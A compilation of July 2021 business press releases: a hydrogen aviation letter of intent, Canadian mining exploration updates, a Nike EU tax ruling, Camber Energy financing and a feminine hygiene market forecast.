Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable by management of SLANG at this time, are inherently subject to significant business, economic and competitive risks, uncertainties and contingencies that could cause actual results to differ materially from those expressed or implied in such statements. Investors are cautioned not to put undue reliance on forward-looking statements. Applicable risks and uncertainties include, but are not limited to regulatory risks, risks related to the COVID-19 global pandemic, changes in laws, resolutions and guidelines, market risks, concentration risks, operating history, competition, the risks associated with international and foreign operations and the other risks identified under the headings "Risk Factors" in SLANG's annual information form dated April 29, 2021 and other disclosure documents available on the Company's profile on SEDAR at www.sedar.com. SLANG is not under any obligation, and expressly disclaims any intention or obligation, to update or revise any forward-looking information, whether as a result of new information, future events or otherwise, except as expressly required by applicable law.

Media and Investor inquiries

Investors@SLANGww.com

KCSA Strategic Communications

Phil Carlson / Elizabeth Barker

SLANG@kcsa.com

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90178
Universal Hydrogen, the company fueling carbon-free flight, today announced it has signed a letter of intent (LOI) with Air Nostrum, a leading regional airline based in Valencia, Spain. This LOI furthers Air Nostrum's initiative to provide its customers with environmentally-friendly flight options and reduce aviation's contribution to global carbon emissions.

Under the agreement, Air Nostrum would purchase eleven of Universal Hydrogen's turboprop conversion kits for use across its existing and future fleet. These kits encompass a hydrogen fuel cell and electric motor that replaces the aircraft's existing turboprop engine. They also provide for compatibility with Universal Hydrogen's modular hydrogen capsule technology that allows for the delivery of hydrogen to any airport without any purpose-built infrastructure. Alongside the aircraft conversions, Universal Hydrogen would become Air Nostrum's long-term green hydrogen service provider. The conversion of Air Nostrum's turboprop fleet to a Universal Hydrogen-powered, zero-carbon configuration would be concluded after an operational evaluation of the design and performance. The aircraft are expected to have equivalent or better unit economics compared to the existing fleet.

"We are thrilled by this flagship partnership with Air Nostrum to help decarbonize their fleet," said Paul Eremenko, co-founder and CEO of Universal Hydrogen. "This bold step puts them in the vanguard of European regional airlines in taking meaningful action to reach true zero emissions."

Over the past two decades, Air Nostrum has consistently prioritized environmental responsibility by reducing single-use plastics from in-flight services, separation of waste on its premises and on-board, and planting trees to offset their paper consumption. Universal Hydrogen's carbon-free aviation solutions will significantly advance Air Nostrum's sustainability goals while also providing operational efficiencies.

"Each day, our airline explores innovative solutions to provide a travel experience with minimal adverse impact on the environment," says Carlos Bertomeu, President and CEO of Air Nostrum. "This partnership represents a unique opportunity to advance on the decarbonization of our flight operations with the practical and cost-effective application of green hydrogen fuel."

About Air Nostrum

Air Nostrum is, with 75,000 flights and more than 5.2 annual passengers, Spain's leading regional aviation company and one of the largest European airlines in its class. It operates for the Iberia Group under the Iberia Regional Air Nostrum brand, invoices 500 million euros and has more than 1,400 employees. Since 1994, Air Nostrum has transported more than 90 million passengers on two million flights.

Air Nostrum has, thanks to its first-rate management, high service quality and renowned prestige, been awarded a number of important sector awards. It is, for example, the only European regional aviation company to have ever won the ERA (European Regions Airline Association) Airline of the Year Award on eight different occasions, six gold and two bronze, the last of which was presented to the Company in October, 2019.

About Universal Hydrogen

Universal Hydrogen is making hydrogen-powered commercial flight a near-term reality. The company takes a flexible, scalable, and capital-light approach to hydrogen logistics by transporting it in modular capsules over the existing freight network from green production sites to airports around the world. To accelerate market adoption, Universal Hydrogen is also developing a conversion kit to retrofit existing regional airplanes with a hydrogen-electric powertrain compatible with its modular capsule technology.

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005532/en/

Contacts:

Kate Gundry

uh2@pluckpr.com

617-797-5174
VANCOUVER, British Columbia, July 14, 2021))) ("Rockridge" or the "Company") is pleased to announce final results from its recently completed diamond drilling program at its Knife Lake Copper Project located in Saskatchewan, Canada (the "Knife Lake Project" or "Property"). The Company drilled a total of 2,043 metres in twelve drill holes and has now received assays and completed interpretation for all holes. Results for the initial nine holes covering Gilbert North and South and the Knife Lake Deposit can be referenced in the Company's June 17th, 2021, news release. Rockridge will also be commencing a summer exploration program which is described herein. The Knife Lake Project, consisting of 81 claims totaling 55,471 hectares (137,069 acres), is an advanced-stage copper, silver, zinc and cobalt exploration property in Saskatchewan host to the Knife Lake Deposit.



Knife Lake VMS Project Location Map:

https://www.rockridgeresourcesltd.com/_resources/images/Knife-Lake-Region-20210331-003.jpg

The drill program at the Gilbert North and South target areas was designed to evaluate conductivity and magnetic anomalies identified during the winter 2021 airborne VTEM Plus survey and corresponding surficial geochemical anomalies. Following initial drilling at Gilbert North and South a Borehole Electromagnetic survey of all holes at the Gilbert North and South target areas was completed to refine targeting for the final holes of the program. Previous surficial work programs have indicated that the stratigraphic position of the targeted anomalies correlates with the Knife Lake Deposit to the east. Additional drilling at the Knife Lake Deposit was designed to infill resource drilling.

Gilbert North and South Drill Hole Locations:

https://www.rockridgeresourcesltd.com/_resources/images/DDH-Expand-NR_20210329.jpg

Knife Lake Deposit Drill Hole Locations:

https://www.rockridgeresourcesltd.com/_resources/images/KF_Deposit_06072021.png

Rockridge's CEO, Jonathan Wiesblatt, commented: "From start to finish, the entire winter and spring exploration program including an airborne VTEM Plus survey and a 2,043m diamond drilling program at the Knife Lake Project was a great success overall. There are a number of exciting regional targets in close proximity to the Knife Lake deposit including the Gilbert Lake target area which was explored using modern day techniques for the very first time. The results thus far have further supported our working thesis that Knife Lake is not a one-off VMS deposit and that the prosects to add to the project's global resource remain high. Our priority for the balance of 2021 is to return to Knife Lake and to continue to advance the project and the deposit in a rising copper price environment. Rockridge's geological team is planning to return to Knife Lake later this summer to carry out an exploration program in preparation for another drill program later in the year. News flow will be forthcoming on these exploration programs."

Highlights

2021 drill program expanded to 2,043.0 metres in twelve drill holes





Highlight drill intercepts at the Gilbert South target area include pyrrhotite-pyrite dominant VMS-style mineralization hosted at the same stratigraphic horizon as the Knife Lake Deposit





Drilling focused on discovering VMS style copper deposits along newly defined conductors as well as at the Knife Lake VMS deposit





Previously reported infill drilling at the Knife Lake deposit returned 1.95% Cu, 0.11 g/t Au, 7.41 g/t Ag, 0.53% Zn and 0.02% Co (2.34% CuEq) over 14.02m beginning at 24.62m in hole KF21021





Drillhole KF21022 returned 0.73% Cu, 0.06 g/t Au, 2.98 g/t Ag, 0.15% Zn and 0.01% Co (0.88% CuEq) over 21.11m starting at 27.39m





Deposit is thought to be a remobilized portion of a "primary" VMS deposit; most of the historical work has consisted of shallow drilling at the deposit area with little regional work carried out and limited deeper drilling below the deposit





Over 300 holes provided data for first NI 43-101 resource estimate of the shallow Knife Lake deposit





Knife Lake NI 43-101 resource estimate from 2019 provides excellent anchor for Project and includes indicated resources of 3.8 MT at 1.02% CuEq. (3.8 MT at 0.83% Cu, 3.7 g/t Ag, 0.097 g/t Au, 82 ppm Co,1740.7 ppm Zn) as well as inferred resources of 7.9 MT at 0.67% Cu Eq (7.9 MT at 0.53% Cu, 2.4 g/t Ag, 0.084 g/t Au, 53.1 ppm Co, 1454.9 ppm Zn)





There is strong discovery potential in and around the deposit as well as at regional targets on the Property; modern exploration techniques and methods are being utilized with a goal of making new discoveries





A summer 2021 exploration program will follow up on the results of this drill program and details on this program are forthcoming



Knife Lake Winter/Spring 2021 Diamond Drill Hole Results and Geological Summary:

The final two holes of the program (KF21023 and KF21024), totaling 244.0m, were completed at the Gilbert Lake South target area which is approx. 6 km to the west of the Knife Lake Deposit. Hole targeting was refined using preliminary data from the 2021 BHEM survey, which was completed concurrently with drilling. The Gilbert South target, which is over 2.5 km in length, had never been drilled prior to the 2021 drill program. A second resource infill hole (KF21022) was drilled at the Knife Lake Deposit, totaling 59.0m.

Knife Lake Priority Target Areas:

https://www.rockridgeresourcesltd.com/_resources/images/Knife-Lake-Airborne-EM-Feb2021.jpg

Gilbert South Target Drilling:

Drill hole KF21023 intersected massive, semi-massive to net-textured pyrite - pyrrhotite  sphalerite  chalcopyrite between 73.91m - 75.83 m with lesser sulphide infill of foliation to 80.16m hosted in amphibole gneiss. The mineralization is associated with strong graphite alteration. Assays returned anomalous results within the mineralized zone including 496.2 ppm Cu, 1277.3 ppm Zn and 1.7 g/t Ag over 6.39m (73.81m - 80.20m).

Gilbert North and South Targets:

https://www.rockridgeresourcesltd.com/_resources/images/KF_Gilbert_06072021.png

Hole KF21024 was planned to undercut hole KF21023 to test for variability of mineralization down-dip. Mineralization in the hole was weaker than the up-dip intersection with weakly defined net-textured pyrrhotite-pyrite hosted pegmatite between 72.91m - 73.55m. Assay results did not return significant concentrations of precious or base-metals.

Plate 1: Net texture pyrrhotite - pyrite  sphalerite  chalcopyrite mineralization observed in hole KF21023 (74.0m):

A Media Snippet accompanying this announcement is available by clicking on the image or link below:

Knife Lake Deposit Drilling:

Drill hole KF21022 was designed to under-cut hole KF21021 to test for variability in mineralization down-dip. Semi-massive to net texture pyrite-pyrrhotite-sphalerite mineralization is hosted in intermediate volcanic intervals and pegmatite intervals between 27.39m - 48.50m. Drillhole KF21022 returned 0.73% Cu, 0.06 g/t Au, 2.98 g/t Ag, 0.15% Zn and 0.01% Co (0.88% CuEq) over 21.11m starting at 27.39m.



Knife Lake Infill Drilling Cross Section:

https://www.rockridgeresourcesltd.com/_resources/images/Sections_KF21021-022.png

Plate 2. Net texture pyrite-pyrrhotite- chalcopyrite sphalerite mineralization observed in hole KF21022 (27.90m)

A Media Snippet accompanying this announcement is available by clicking on the image or link below:

Drill Hole Results Table for Hole KF21022:

Hole



From To Core Length Cu Au Ag Zn Co CuEq (m) (m) (m) (%) (g/t) (g/t) (%) (%) (%) KF21022 27.39 48.50 21.11 0.73 0.06 2.98 0.15 0.01 0.88 Includes 29.16 35.00 5.84 1.33 0.24 5.05 0.24 0.01 1.64 Includes 32.00 35.00 3.00 1.44 0.09 4.97 0.30 0.01 1.66 and 29.16 30.00 0.84 1.84 0.44 7.52 0.26 0.02 2.35

* Drill indicated intercepts (core length) are reported as drilled widths; true thickness is undetermined.

** No cutoffs or metal recoverability were factored into CuEq calculations.

*** Assumptions used in USD for the copper equivalent calculation were metal prices of $4.50/lb Cu, $19.38/lb Co, $1,864.00/oz Au, $27.90/oz Ag, $1.38/lb Zn. Copper equivalent (CuEq) was calculated using the formula CuEq = Cu% + ((Zn%*Zn Price*22.0462) + (Co%*Co Price*22.0462) + (Augpt*Au Price/31.1035) + (Ag *Ag Price/31.1035)) / (Cu price*22.0462).

Summer 2021 Exploration Program:

Planning is now underway for a fully funded and permitted summer 2021 exploration program to follow up on the encouraging results from this drill program. The program will include a VTEM Plus Geophysical program to expand on the winter 2021 geophysical program. VTEM Plus has proven to be a useful tool for target generation on the Knife Lake Property. Rockridge is also planning for a follow-up drill program later in the year as well.

Knife Lake Geology and History:

The Knife Lake Deposit is interpreted to be a remobilized VMS deposit. The stratabound mineralized zone is approximately 15m thick and contains copper, silver, zinc, gold and cobalt mineralization which dips 30 to 50 eastward over a known strike-length within Rockridge's claim area of 3,700 metres, and a known average down-dip extension of approximately 300 metres.

Knife Lake Deposit Map:

https://www.rockridgeresourcesltd.com/_resources/projects/KnifeLake-Fig2.jpg

The deposit is hosted by felsic to intermediate volcanic and volcaniclastic rocks which have been metamorphosed to upper amphibolite facies. The deposit contains VMS mineralogy which has been significantly modified and partially remobilized during the emplacement of granitic rocks. The mineralization straddles the boundary between two rock units and occurs on both limbs of an interpreted overturned fold.

The Company completed twelve holes consisting of 1,053 metres of diamond drilling in the 2019 winter drilling program. This represented the first drilling on the property since 2001 and had two primary objectives: confirm the tenor of mineralization reported by previous operators and expand known zones of mineralization. Highlights from the drill program included previously reported hole KF19003 which intersected net-textured to semi-massive sulphide mineralization from 11.2m to 48.8m downhole. This 37.6 metre interval returned 2.03% Cu, 0.19 g/t Au, 9.88 g/t Ag, 0.36% Zn, and 0.01% Co for an estimated 2.42% CuEq. Additionally, previously reported drill hole KF19001 intersected net-textured to fracture-controlled sulphide mineralization from 7.5 metres to 40.6 metres downhole. This 33.1 metre interval returned 1.28% Cu, 0.12 g/t Au, 4.80 g/t Ag, 0.13% Zn, and 0.01% Co for an estimated 1.49% CuEq.

Compilation and initial modelling indicate potential for expansion of the deposit at depth. The recent drilling focused on resource upgrade as well as infill drilling between historical holes. The program gave the Company's technical team valuable insights into the property geology, alteration, and mineralization that will be applied to future regional exploration on the highly prospective and underexplored land package.

The Knife Lake deposit is a near surface VMS deposit starting a few metres below surface and the deposit remains open at depth and along strike for potential resource expansion. Recently Rockridge announced a maiden NI 43-101 resource estimate for the Knife Lake deposit (see the News Release dated August 14th, 2019) which consisted of an indicated resource of 3.8 million tonnes at 1.02% CuEq at a 0.4% CuEq cut-off (3.8 MT at 0.83% Cu, 3.7 g/t Ag, 0.097 g/t Au, 82 ppm Co, 1740.7 ppm Zn). In addition, there is an inferred resource of 7.9 million tonnes at 0.67% CuEq at a 0.4% CuEq cut-off (7.9 MT at 0.53% Cu, 2.4 g/t Ag, 0.084 g/t Au, 53.1 ppm Co, 1454.9 ppm Zn). Refer to the NI 43-101 Technical Report on the Mineral Resource Estimate for the Knife Lake Property, Saskatchewan dated September 27, 2019, filed on SEDAR.

QA/QC:

Samples were sent for geochemical analysis with ALS Global, Vancouver for the following analyses: 48 element four acid ICP-MS (ME-MS61) and gold (Au) 30 g Fire Assay - AA finish (Au-AA23). Over limit analysis were completed using the following analyses: Ore Grade copper (Cu), nickel (Ni) and zinc (Zn) - four acid ICP-AES (ME-OG62).

On receipt of final certificates of analysis, the QA/QC sample results were reviewed to ensure the order of samples were reported correctly, that the blanks ran clean, and that the results for each standard had minimal variance from its certified value. QA/QC for the Knife Lake drilling included certified reference material ("CRMs") and blanks that were inserted into each sample batch in order to verify the analytical from the lab.

Qualified Person:

Kerry Bates, P. Geo., a "qualified person" for the purposes of National Instrument 43-101 - Standards of Disclosure for Mineral Projects, and a Geologist employed by TerraLogic Exploration Inc., has reviewed and approved the scientific and technical disclosure in this news release relating to the Knife Lake Project.

About Rockridge Resources Ltd.

Rockridge Resources (TSX.V: ROCK) is a public mineral exploration company focused on the acquisition, exploration and development of mineral resource properties in Canada, specifically copper and gold. The Company's core copper project is the Knife Lake Project located in Saskatchewan which is ranked as the #3 mining jurisdiction in the world by the Fraser Institute. The project hosts the Knife Lake Deposit, which is a VMS, near-surface Cu-Co-Au-Ag-Zn deposit open along strike and at depth. There is strong discovery potential in and around the deposit area as well as at regional targets on the large property package. The Company's secondary asset is the Raney Gold Project, which is a high-grade gold exploration project located in the same greenstone belt that hosts the world class Timmins and Kirkland Lake lode gold mining camps. Recently reported drill hole RN 20-06 intersected 28.0 g/t gold over 6.0 metres at a shallow vertical level of 95 metres, which is the best result from the project thus far. Rockridge's goal is to maximize shareholder value through new mineral discoveries, committed long-term partnerships, and the advancement of exploration projects in geopolitically favourable jurisdictions.

Additional information about Rockridge Resources and its project portfolio can be found on the Company's website at www.rockridgeresourcesltd.com.

Rockridge Resources Ltd.

"Jonathan Wiesblatt"

_______________________

Jonathan Wiesblatt

CEO

For further information contact myself or:

Jordan Trimble, President or

Riley Trimble, Corporate Communications



Rockridge Resources Ltd.

Telephone: 604-687-3376

Toll Free: 800-567-8181

Facsimile: 604-687-3119

Email: info@rockridgeresourcesltd.com

NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THE CONTENT OF THIS NEWS RELEASE.

Forward Looking Information

This release includes certain statements that may be deemed to be "forward-looking statements". All statements in this release, other than statements of historical facts, that address events or developments that management of the Company expects, are forward-looking statements. Statements included in this announcement, including statements concerning our plans, intentions and expectations, which are not historical in nature are intended to be, and are hereby identified as, "forward-looking statements". Forward-looking statements may be identified by words including "anticipates", "believes", "intends", "estimates", "expects" and similar expressions. Although management believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance, and actual results or developments may differ materially from those in the forward-looking statements. The Company undertakes no obligation to update these forward-looking statements if management's beliefs, estimates or opinions, or other factors, should change. Factors that could cause actual results to differ materially from those in forward-looking statements, include market prices, exploration and development successes, continued availability of capital and financing, and general economic, market or business conditions. Please see the public filings of the Company at www.sedar.comfor further information.
VANCOUVER, BC / ACCESSWIRE / July 14, 2021 / Searchlight Resources Inc. ("Searchlight" or the "Company") (TSXV:SCLT)(OTC PINK:CNYCF)(FRA:2CC2) has completed staking on three rare earth projects in Northern Saskatchewan, including the expansion of the Kulyk Lake and Bear Lake projects, and the initial staking of a new target at Miller Lake.

Highlights

Expand Kulyk Lake Claims from 61.1 sq km to 105.4 sq km.

Acquire 19.1 sq km to cover Miller Lake geochemical target.

Expand Bear Lake Claims from 12.6 sq km to 21.8 sq km.

"With the completion of staking, Searchlight is now preparing for airborne geophysics and a site visit to Kulyk Lake", stated Stephen Wallace, CEO. "This will be followed by the preparation of a 43-101 technical report on this project."

Kulyk Lake

The Kulyk Lake claim block has been expanded from 61.1 sq km to 105.4 sq km, merging previously isolated claims into a 35 km long contiguous claim block. This block covers 21 Rare Earth Showings including the Kulyk Lake trenching, which yielded results of 45.1% TREO and 10.08% CREO over 0.6 metres, and 24.44% TREO and 5.49% CREO over 0.7 metres. (Note: TREO = Total Rare Earth Oxides and CREO = Critical Rare Earth Oxides which is the sum of Pr6O11 + Nd2O3 + Tb4O7 + Dy2O3.)

Miller Lake

The Miller Lake project covers a total area of 19.1 sq km of newly staked claims, based on a lake sediment sample collected as part of the Geological Survey of Canada's National Geochemical Reconnaissance (NGR) lake sediment-sampling program. Assays for the Miller Lake sample yielded 2,792 ppm Total Rare Earth Elements (TREE), 221 ppm Uranium, and 169 ppm Thorium. This is the second highest TREE value amongst 35,842 NGR analyses for which TREE data are available for all of Canada.

Bear Lake

During recent staking, the Bear Lake claim block was expanded from 12.6 sq km to 21.8 sq km to cover additional rare earth showings. The claims now include a total of 6 REE showings. The Bear Lake claims are located within 30 kilometers of the Hoidas Lake Rare Earth deposit, and 25 km of the Appia Energy Alces Lake Rare Earth project. Previous work by the Saskatchewan Geological Survey located outcrops with samples that assayed up to 19.94 % TREO and 3.53 % CREO. The claims also include significant NGR lake sediment samples, including one sample of 2,372 ppm TREE. This is the sixth highest TREE value amongst 35,842 analyses for which REE data are available for all of Canada.

The technical information is derived from public documents available through the Saskatchewan Government Ministry of Energy and Resources.

The results presented are historical in nature, and Searchlight has not undertaken any independent investigation of the sampling, nor has it independently analyzed the results of the previous exploration work in order to verify the results. Searchlight considers these sample results relevant as the Company uses historical reports to evaluate historic sample results as a guide to plan future exploration programs.

Qualified Person

Stephen Wallace, P.Geo., is Searchlight's Qualified Person within the meaning of National Instrument 43-101 and has reviewed and approved the technical information contained in this news release.

About Searchlight Resources Inc.

Searchlight Resources Inc. ((TSXV:SCLT)(OTC PINK:CNYCF)(FRA:2CC2) is a Canadian mineral exploration and development company focused on Saskatchewan, Canada, which has been ranked as the top location for mining investment in Canada by the Fraser Institute. Exploration focus is on gold and battery minerals throughout the Province, concentrating on projects with road access.

Searchlight holds a 427.6 square kilometre land position within the gold and base metal rich Flin Flon - Snow Lake Greenstone Belt. The Company is currently advancing its Bootleg Lake Gold Project which hosts four past producing high-grade gold mines, located in Saskatchewan, less than 10 km from Flin Flon, Manitoba.

On behalf of the Board of Directors,

"Stephen Wallace"

Stephen Wallace, President, CEO and Director

SEARCHLIGHT RESOURCES INC.

For further information, visit the Company's website at www.searchlightresources.com or contact:

Searchlight Resources Inc.

Alf Stewart, Chairman

(604) 331-9326

info@searchlightresources.com

Forward-Looking Statements

Information set forth in this news release contains forward-looking statements that are based on assumptions as of the date of this news release. These statements reflect management's current estimates, beliefs, intentions and expectations. They are not guarantees of future performance. The Company cautions that all forward-looking statements are inherently uncertain and that actual performance may be affected by a number of material factors, many of which are beyond the Company's control. Such factors include, among other things: risks and uncertainties relating to the Company's limited operating history and the need to comply with environmental and governmental regulations. Accordingly, actual and future events, conditions and results may differ materially from the estimates, beliefs, intentions and expectations expressed or implied in the forward-looking information. Except as required under applicable securities legislation, the Company undertakes no obligation to publicly update or revise forward-looking information.

NEITHER TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

SOURCE: Searchlight Resources Inc.

View source version on accesswire.com:https://www.accesswire.com/655454/Searchlight-Resources-Acquires-Additional-Rare-Earth-Claims-by-Staking
Toronto, Ontario--(Newsfile Corp. - July 14, 2021) - Rockcliff Metals Corporation (CSE: RCLF) (OTCQB: RKCLF) ("Rockcliff" or the "Company") is pleased to announce the commencement of a new NI 43-101 Preliminary Economic Assessment ("PEA") for the sequential development of the Company's 100% owned Tower and Rail projects. The Company filed an initial PEA for the combined projects on January 25, 2021. The purpose of this new PEA is to incorporate the results of an independent desk-top study of the Tower project completed in May of this year. The study concluded that by employing a more traditional alternative mining method, the Company could potentially materially reduce pre-production capital costs at Tower thereby improving the overall economics of the project. The Company believes that this alternative mining method, with the corresponding reduction in pre-production capital requirements, can also be employed at the Rail project. The Board of Rockcliff approved the commissioning of the new PEA for Tower and Rail to confirm the positive impact of the alternative mining method on the overall economics of the combined projects.

Management believes that being able to materially reduce pre-production capital costs at Tower and Rail is essential for the success of the first mining project to be developed by Rockcliff. This potential reduction in development capital, in combination with the competitive operating costs established in the desk-top study, should provide compelling economics for both the Tower and Rail projects. The sequential development of these two high-grade deposits, based upon projected daily mining rates, will result in a combined life-of-mine designed to meet investor requirements arising from commodity price cyclicality.

Don Christie, President & CEO commented, "I believe approaching this new PEA with a fresh perspective that utilizes a more traditional mine design is exactly what is required to reduce both development capex and operating risk while maximizing shareholder returns from the mining of our high-grade, steeply dipping, narrow vein deposits. Permitting on both the Tower and Rail projects is well advanced and it is Rockcliff's intention to fast-track the development of both Tower and Rail to take advantage of what is viewed by the Company as a strong and sustainable copper market. We look forward to providing investors with the results of the PEA combining both Tower and Rail by the end of Q3."

About Rockcliff Metals Corporation

Rockcliff is a Canadian based resource development and exploration company, with several advanced-stage, high-grade copper and zinc VMS dominant deposits in the Snow Lake area of central Manitoba. The Company has commissioned a PEA on its Tower and Rail projects for completion by the end of Q3 of this year and has a joint venture with Hudbay Minerals Inc. on the Talbot copper project. The Company has also commenced an exploration program on a number of its properties that will run until the end of 2021. Rockcliff is a major landholder in the largest Paleoproterozoic VMS district in the world, hosting high-grade mines and deposits containing copper, zinc, gold and silver. The Company's extensive portfolio of properties totals approximately 4,500 square kilometres and includes seven of the highest-grade, undeveloped VMS deposits in the Flin Flon - Snow Lake Greenstone Belt.

For more information, please visit http://rockcliffmetals.com

YouTube: Rockcliff Metals Corporation

Twitter: @RockcliffMetals

LinkedIn: Rockcliff Metals Corp

Instagram: Rockcliff_Metals

Facebook: Rockcliff Metals Corporation

For further information, please contact:

Rockcliff Metals Corporation

Don Christie

President & CEO

Cell: (416) 409-8441

don@rockcliffmetals.com

Cautionary Note Regarding Forward-Looking Statements: This news release includes forward-looking statements that are subject to risks and uncertainties. Forward-looking statements involve known and unknown risks, uncertainties, and other factors that could cause the actual results of the Company to be materially different from the historical results or from any future results expressed or implied by such forward-looking statements. All statements contained in this news release, other than statements of historical fact, are to be considered forward-looking. Although Rockcliff believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not a guarantee of future performance and actual results or developments may differ materially from those in the forward-looking statements.

The Canadian Securities Exchange does not accept responsibility for the adequacy or accuracy of this news release.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90156


WASHINGTON COUNTY (dpa-AFX) - The General Court of the European Union dismissed NIKE Inc.'s (NKE) challenge against the European Commission's decision to initiate the formal investigation procedure in respect of tax rulings issued by the Netherlands tax administration to subsidiaries of Nike in Netherlands.



The Court found that the European commission carried out its provisional assessment of the measures at issue in a diligent and impartial manner, and that it did not breach the principle of good administration. The same applies to the alleged breach of the principle of equal treatment.



In 2019, the European Commission decided to initiate a formal investigation procedure in respect of tax rulings issued by the Netherlands tax administration to Nike European Operations Netherlands in 2006, 2010 and 2015, and to Converse Netherlands in 2010 and 2015.



Those tax rulings validate for tax purposes a transfer pricing arrangement, in particular the level of royalties payable by Nike and Converse to other Nike group companies, which are not taxed in the Netherlands, in return for the use of intellectual property rights. The royalties are tax deductible from the taxable revenue of Nike and Converse in the Netherlands.



Copyright RTT News/dpa-AFX

NIKE-Aktie komplett kostenlos handeln - auf Smartbroker.de
Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
In Separate Transaction Camber Extends Maturity Date of P. Notes & Adds Fixed Conversion Feature

HOUSTON, TX / ACCESSWIRE / July 14, 2021 / Camber Energy, Inc. (NYSE American:CEI) ('Camber' or the 'Company') is pleased to announce it closed a $15,000,000 equity transaction from an Institutional Investor. The Company plans to use the funds for working capital, new acquisitions (directly or through the Company's majority-owned subsidiary), and other purposes.

In a separate transaction, the Company extended the maturity date of existing promissory notes from December 11, 2022 to January 1, 2024, and incorporated a conversion feature in each of the promissory notes entitling the holder to convert all or a portion of the principal amount(s) into shares of common stock of the Company at a fixed conversion price of $1.25 per share, which equates to an approx. 117% premium from the closing price of the common shares on July 9, 2021.

James Doris, President and Chief Executive Officer of Camber, commented, 'These transactions serve as significant catalysts for advancing Camber's growth initiatives. The $15M commitment by the institutional investor is encouraging and seemingly reflective of the confidence in Camber and our operations both short and long term. We are excited about the Company's future and remain focused on forging a path toward profitability and increasing shareholder value.'

For further details please refer to Camber's Current Reports on Form 8-K filed on July 12, 2021 with the Securities and Exchange Commission and available under 'Investors -- SEC Filings' at www.camber.energy.

About Camber:

Based in Houston, Texas, Camber Energy (NYSE American: CEI) is a growth-oriented energy company. Through its majority-owned subsidiary, Viking Energy Group, Inc., Camber owns interests in oil and natural gas assets in the Gulf Coast and Mid-Continent regions. For more information, please visit the company's website at www.camber.energy.

Forward-Looking Statements

This press release may contain forward-looking information within the meaning of Section 21E of the Securities Exchange Act of 1934, as amended, and Section 27A of the Securities Act of 1933, as amended. Any statements that are not historical facts contained in this press release are 'forward-looking statements', which statements may be identified by words such as 'expects,' 'plans,' 'projects,' 'will,' 'may,' 'anticipates,' 'believes,' 'should,' 'intends,' 'estimates,' and other words of similar meaning. Such forward-looking statements are based on current expectations, involve known and unknown risks, a reliance on third parties for information, transactions that may be cancelled, and other factors that may cause our actual results, performance or achievements, or developments in our industry, to differ materially from the anticipated results, performance or achievements expressed or implied by such forward-looking statements. Factors that could cause actual results to differ materially from anticipated results include risks and uncertainties related to the fluctuation of global economic conditions or economic conditions with respect to the oil and gas industry, the COVID-19 pandemic, the performance of management, actions of government regulators, vendors, and suppliers, our cash flows and ability to obtain financing, competition, general economic conditions and other factors that are detailed in Camber's filings with the Securities and Exchange Commission. We intend that all forward-looking statements be subject to the safe-harbor provisions.

Contact Information

Investors and Media:

Tel. 281.404.4387 (ext.3)

SOURCE: Camber Energy, Inc.

View source version on accesswire.com:https://www.accesswire.com/655396/Camber-Energy-Announces-15000000-Investment-from-Institutional-Investor
The feminine hygiene products market survey by Future Market Insights (FMI) offers insights into key factors enabling growth. The study identifies government initiatives undertaken to spread awareness about the importance of feminine hygiene as a chief growth driver.

DUBAI, U.A.E, July 14, 2021 /PRNewswire/ -- As per a study by FMI, the global feminine hygiene market is anticipated to reach a valuation of US$ 27,605.8 million by 2021. Owing to the increasing awareness in terms of personal hygiene among women, the market for feminine hygiene products is estimated to surpass US$ 54,190 million through 2031.

FMI also projects the market to record CAGR of 7% over the forecast period from 2021 to 2031 in the comparison above 5.8% CAGR registered between 2016 and 2020.

A remarkable transformation has been observed in the personal care products industry over the past few years. Increasing number of initiatives undertaken by the government as well as global organizations to spread awareness regarding feminine health and menstrual hygiene etiquette are spurring the sales of feminine hygiene products in the developing economies.

Some of the leading international organizations are also providing sanitation kits to girls studying in government colleges and schools in rural areas of developing and under-developed countries. For instance, the Department of Education in KwaZulu-Natal (KZN) of South Africa set aside R50 million in 2017, to fund the distribution of sanitary napkins and towels in numerous schools in the region. These increasing initiatives are creating growth prospects for the feminine hygiene products market

Sanitary napkins are projected to remain top-selling products, accounting for a value share of nearly 50% of the market in 2021. Owing to the cost-effectiveness and ongoing development of sanitary napkins, the segment is expected to exhibit growth at a CAGR of 8.1% through 2031.

"Leading manufacturers are emphasizing on developing smart solutions to offer improved menstrual hygiene solutions. For instance, some of them are adopting biodegradable raw materials such as bio-actives extracted from plants to comply with strict government environmental laws to curb carbon footprint and to capitalize on increasing demand for feminine hygiene products," says the FMI analyst.

Request a report sample to gain comprehensive insights at https://www.futuremarketinsights.com/reports/sample/rep-gb-13350

Key Takeaways from Feminine Hygiene Products Market Survey

The U.S. is leading the North America market for feminine hygiene products, accounting for over 86% of the market value share in the region.

market for feminine hygiene products, accounting for over 86% of the market value share in the region. In Europe , Germany is estimated to dominate the regional market, accounting for more than 18% of the market in 2031.

, is estimated to dominate the regional market, accounting for more than 18% of the market in 2031. Owing to the increasing demand for menstrual cups, the market in France is expected to project growth at a CAGR of 8.7% over the forecast period.

is expected to project growth at a CAGR of 8.7% over the forecast period. East Asia is likely to account for the largest revenue share in the global market with China holding around 81% of the regional market by 2021.

is likely to account for the largest revenue share in the global market with holding around 81% of the regional market by 2021. India is anticipated to account for over 70% of the sales in the South Asia market, favored by increasing number of government initiatives.

Key Drivers

Growing awareness regarding feminine health and menstrual hygiene is fueling the demand for feminine hygiene products.

Increasing number of government initiatives is spurring the sales of feminine hygiene products.

Ongoing development in feminine hygiene products is expected to drive the growth of the market.

